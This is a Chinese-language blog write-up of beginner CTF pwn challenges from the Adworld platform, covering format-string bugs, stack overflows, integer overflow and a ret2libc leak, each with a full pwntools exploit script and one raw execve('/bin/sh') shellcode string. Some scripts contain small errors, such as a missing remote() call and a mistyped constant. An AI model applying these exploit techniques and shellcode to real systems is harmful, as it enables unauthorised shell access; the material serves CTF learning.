攻防世界新手練習(xí)pwn

0x00 get_shell

 nc 連接得到flag

0x01 CGfsb

首先檢查保護(hù)

image.png

在進(jìn)IDA f5,發(fā)現(xiàn)將pwnme=8即可得到flag登失。
漏洞點(diǎn):格式化字符漏洞洛退,printf()函數(shù)使用不當(dāng)瘩蚪,造成任意內(nèi)存讀寫
image.png

查看pwnme地址如下燎孟,發(fā)現(xiàn)它是bss字段定義的全局變量
image.png

nc連接輸入信息為aaaa加很多個(gè)控制字符發(fā)現(xiàn)pwnme的偏移量為10

image.png

pwnme地址本身占4個(gè)字節(jié)再加上4個(gè)字符使pwnme==8喇勋,得到flag僚楞。

exp:

from pwn import *
#p=remote('111.198.29.45',38899)
p=process('./cgfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print p.recv() 
print p.recv()

0x02 when_did_you_born

首先查看保護(hù)


image.png

看到birth=1926就可以得到flag,但是過濾了1926,又發(fā)現(xiàn)gets()沒有對(duì)輸入檢查,可以造成溢出似嗤。一直填充到v5,使v5=1926即可得到flag.


image.png

分別雙擊v4啸臀,v5看到,v4為var_20烁落,v5為var_18乘粒,相差了8個(gè)字符 ,所以構(gòu)造payload= payload='a'*8+p64(0x786)

image.png

exp:

from pwn import *
#p=process('./when_did_you_born')
p=remote('111.198.29.45',47814)
p.recvuntil("?")
p.sendline("1925")
p.recvuntil("?")
payload='a'*8+p32(0x786)
p.sendline(payload)
p.interactive()

0x03 hello_pwn

老規(guī)矩豌注,先查看文件保護(hù),然后IDA打開


image.png

如果ift條件為真,進(jìn)入sub_60106c就可得到flag灯萍。


image.png

進(jìn)入unk_691968和dword_60106c偏移量為4,并且沒有大于read函數(shù)的范圍限制轧铁,所以我們構(gòu)造payload=‘a(chǎn)'*4+p64(1853186401)就可以覆蓋dword_60106c使if為真。
image.png

exp:

from pwn import *
p=process('./hello_pwn')
p=('111.198.29.45',55581)
payload = 'a'*4+p64(18533186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

0x04 level0

檢查保護(hù)機(jī)制旦棉,拖進(jìn)IDA


image.png

看到vulnerable_function()函數(shù)存在溢出, buf的長度為0x80齿风,但是可以輸入0x200的長度。我們F12可以搜素到system和sh字符绑洛,得到系統(tǒng)函數(shù)的地址救斑。所以我們構(gòu)造payload在buf后面調(diào)用系統(tǒng)函數(shù)得到shell。r然后cat flag得到flag.


image.png

exp如下:
from pwn import *
p=remote('111.198.29.45',55317)
#p = process('./level0')
sys_addr = 0x0400320
sh_addr = 0x0400596
payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
p.recvuntil("Hello, World")
p.sendline(payload)
p.interactive()

0x05 level2

首先查看保護(hù)機(jī)制诊笤,IDA打開



發(fā)現(xiàn)溢出點(diǎn)buf,buf的長度為0x88,可輸入0x100的長度系谐。通過ELF搜素system和/bin/sh地址巾陕,構(gòu)造payload讨跟,得到shell。


image.png

exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
elf=ELF('./level2')        

sys_addr=elf.symbols['system']  #獲取系統(tǒng)函數(shù)地址
sh_addr=elf.search('/bin/sh').next()   #獲取'/bin/sh'字符串地址
payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)

pwn=remote('111.198.29.45',42668)
#pwn = process('./level2')
pwn.sendlineafter("Input:\n",payload)
pwn.interactive()
pwn.close()

0x06 string

首先檢查保護(hù)機(jī)制


image.png

拖進(jìn)IDA鄙煤,這道題字符是真滴多晾匠,先分析邏輯。根據(jù)提示一步一步往下走梯刚×构荩看到sub_400CA6函數(shù),只要a1[0]=a1[1]就符合要求,并且發(fā)現(xiàn)將V1一個(gè)void指針強(qiáng)制類型轉(zhuǎn)換成函數(shù)指針并調(diào)用了亡资,所以我們將shellcode通過上面的read寫入就會(huì)得到shell澜共。


image.png

一直跟回去發(fā)現(xiàn)a1[0]=65,a1[1]=85锥腻。
那現(xiàn)在目標(biāo)明確了嗦董,找到漏洞點(diǎn),在內(nèi)存中將a1[0]值改為85就找到漏洞點(diǎn)在sub_400BB9的printf函數(shù)瘦黑,格式化字符串漏洞京革。造成任意地址讀寫。


image.png

找到format的偏移量為7幸斥。構(gòu)造payload = "%85d%7$n"匹摇。


image.png

exp:

from pwn import *
p = remote('111.198.29.45',49698)
#p = process('./string1')
p.recvuntil("secret[0] is ")
v3_addr=p.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address = eval(v3_addr)
p.recvuntil("What should your character's name be:")
p.sendline('Adam')

p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')

p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('Give me an address')
p.send(str(v3_address)+"\n")
p.recvuntil("you wish is:\n")

payload = "%85d%7$n"
p.sendline(payload)

#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

0x07 guess_num

檢查保護(hù)


image.png

IDA打開,邏輯是十次輸入的數(shù)都要與隨機(jī)生成的數(shù)相等就運(yùn)行sub_C3E()得到flag甲葬,所以我們想辦法修改隨機(jī)數(shù)種子廊勃,讓每次生成的數(shù)都一樣就可以了。


image.png

那么我們可以利用的是get函數(shù)经窖,對(duì)輸入沒有限制供搀,并且v7與seed的地址是連續(xù)的隅居,所以直接覆蓋seed。查看V7的長度為32個(gè)字節(jié)葛虐,構(gòu)造payload = 'a'*32+p64(1)胎源。

exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45',36915)
#p = process('./guess_num')

p.recvuntil("Your name:")

payload = 'a'*32+p64(1)

p.sendline(payload)
//使用ctypes庫調(diào)用libc.so.6來使用srand()和rand()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
for i in range(10):
    a = str(libc.rand()%6+1)
    p.recvuntil('Please input your guess number:')
    p.sendline(a)
p.interactive()

0x08 cgpwn2

首先檢查保護(hù)


image.png

IDA分析,看到main函數(shù)里gets()可以溢出屿脐,并且name是在bss上的全局變量涕蚤。

image.png

找到system的地址為0x08048420。shift+F12找不到‘/bin/sh’的诵,所以將name輸入/bin/sh万栅,再次訪問name的值不會(huì)變,name的地址就作為sh的地址∥靼蹋現(xiàn)在需要找s的偏移量為38+4烦粒。構(gòu)造payload=‘a(chǎn)'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二個(gè)p32里隨便輸入。

exp:

from pwn import *

p = remote('111.198.29.45',56035)
#p = process('./cgpwn2')

sys_addr = 0x08048420
sh_addr = 0x0804A080

payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)

p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()

0x09 int_overflow

首先檢查保護(hù)機(jī)制


image.png

拖進(jìn)IDA代赁,分析邏輯扰她。發(fā)現(xiàn)check_passwd()中v3為int8型,在下面的check中也是檢查v3的長度芭碍,根據(jù)有題目名稱徒役,想到v3的大小溢出,int8型最大值為2^8=256,超出之后進(jìn)行模256的計(jì)算。


image.png

所以我們?cè)谳斎雙asswd的時(shí)候?qū)⑤斎腴L度為 [259,263]之間就可以了窖壕,再利用后面的strcpy()函數(shù)忧勿,因?yàn)閷復(fù)制給dest,看到dest的偏移為0x14+0x04,再搜索sh函數(shù)得到sh地址,構(gòu)造payload = 'a'*(0x14+0x4)+p32(sh_addr)瞻讽。得到shell鸳吸。

exp:

from pwn import *

p = remote('111.198.29.45',39063)
#p = process('./int_overflow')


sh_addr = 0x0804868B

p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Please input your username:")
p.sendline('Adam')


payload = 'a'*(0x14+0x4)+p32(sh_addr)
payload = payload.ljust(263,'b')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()

0x10 level3

首先檢查保護(hù)機(jī)制

image.png

拖進(jìn)IDA,很明顯的漏洞點(diǎn)速勇,read溢出晌砾,但是找不到system,/bin/sh的地址。F12查看字符串快集。發(fā)現(xiàn) libc start_main贡羔。
image.png

因?yàn)閟ystem是libc.so動(dòng)態(tài)鏈接庫的函數(shù)。而且在動(dòng)態(tài)鏈接庫中函數(shù)之間的偏移是固定的个初。即使程序有 ASLR 保護(hù)乖寒,也只是針對(duì)于地址中間位進(jìn)行隨機(jī),最低的 12 位并不會(huì)發(fā)生改變院溺。
首先楣嘁,利用找到write的真實(shí)地址,然后利用這個(gè)地址算出偏移量,這里貼個(gè)計(jì)算libc的工具逐虚。找到offest之后,就可以得到system的地址和bin/sh的地址了聋溜。

exp:

#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import *

#p = process('./level3')
p = remote('111.198.29.45',48981)
elf = ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recv()
p.sendline(payload)

write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)

offest = write_addr - libc.dump('write')

sys_addr = offest + libc.dump('system')
sh_addr = offest +libc.dump('str_bin_sh')

payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
p.recv()

p.sendline(payload2)
p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市叭爱,隨后出現(xiàn)的幾起案子撮躁,更是在濱河造成了極大的恐慌,老刑警劉巖买雾,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件把曼,死亡現(xiàn)場離奇詭異,居然都是意外死亡漓穿,警方通過查閱死者的電腦和手機(jī)嗤军,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來晃危,“玉大人叙赚,你說我怎么就攤上這事×欧梗” “怎么了震叮?”我有些...
    開封第一講書人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長浪慌。 經(jīng)常有香客問我冤荆,道長朴则,這世上最難降的妖魔是什么权纤? 我笑而不...
    開封第一講書人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮乌妒,結(jié)果婚禮上汹想,老公的妹妹穿的比我還像新娘。我一直安慰自己撤蚊,他們只是感情好古掏,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著侦啸,像睡著了一般槽唾。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上光涂,一...
    開封第一講書人閱讀 51,182評(píng)論 1 299
  • 那天庞萍,我揣著相機(jī)與錄音,去河邊找鬼忘闻。 笑死钝计,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播私恬,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼债沮,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼!你這毒婦竟也來了本鸣?” 一聲冷哼從身側(cè)響起疫衩,我...
    開封第一講書人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎荣德,沒想到半個(gè)月后隧土,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡命爬,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年曹傀,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片饲宛。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡皆愉,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出艇抠,到底是詐尸還是另有隱情幕庐,我是刑警寧澤,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布家淤,位于F島的核電站异剥,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏絮重。R本人自食惡果不足惜冤寿,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望青伤。 院中可真熱鬧督怜,春花似錦、人聲如沸狠角。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽丰歌。三九已至姨蟋,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間立帖,已是汗流浹背眼溶。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留厘惦,地道東北人偷仿。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓哩簿,卻偏偏與公主長得像,于是被迫代替她去往敵國和親酝静。 傳聞我的和親對(duì)象是個(gè)殘疾皇子节榜,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時(shí)候可以看到程序沒有打開任何的安全保護(hù)措施,然后查看IDA下的匯編代碼别智,...
    Nevv閱讀 1,679評(píng)論 0 2
  • 一宗苍、bugkuctf pwn4(棧,ROP薄榛,system($0)) 圖1很容易看出來read函數(shù)棧溢出 緊接著就是...
    ywledoc閱讀 1,604評(píng)論 0 1
  • 參考文章: 關(guān)于heap overflow的一些筆記 by ETenal [CTF]Heap vuln -- u...
    BJChangAn閱讀 2,670評(píng)論 2 5
  • 文/馬克蘇 理想敞恋,大概是每個(gè)人都想過并且追尋的東西吧丽啡。它就像你的影子,你向前它也會(huì)跟你向前硬猫,你停下腳步补箍,它也便停滯...
    趙不渝閱讀 547評(píng)論 2 2
  • 批評(píng)與自我批評(píng)會(huì)不會(huì)是這個(gè)世上最大的謊言? 我們一直主張批評(píng)與自我批評(píng)啸蜜,我們說良藥苦口坑雅,我們要求自己也要求周圍的人...
    青茶竹酒閱讀 159評(píng)論 0 0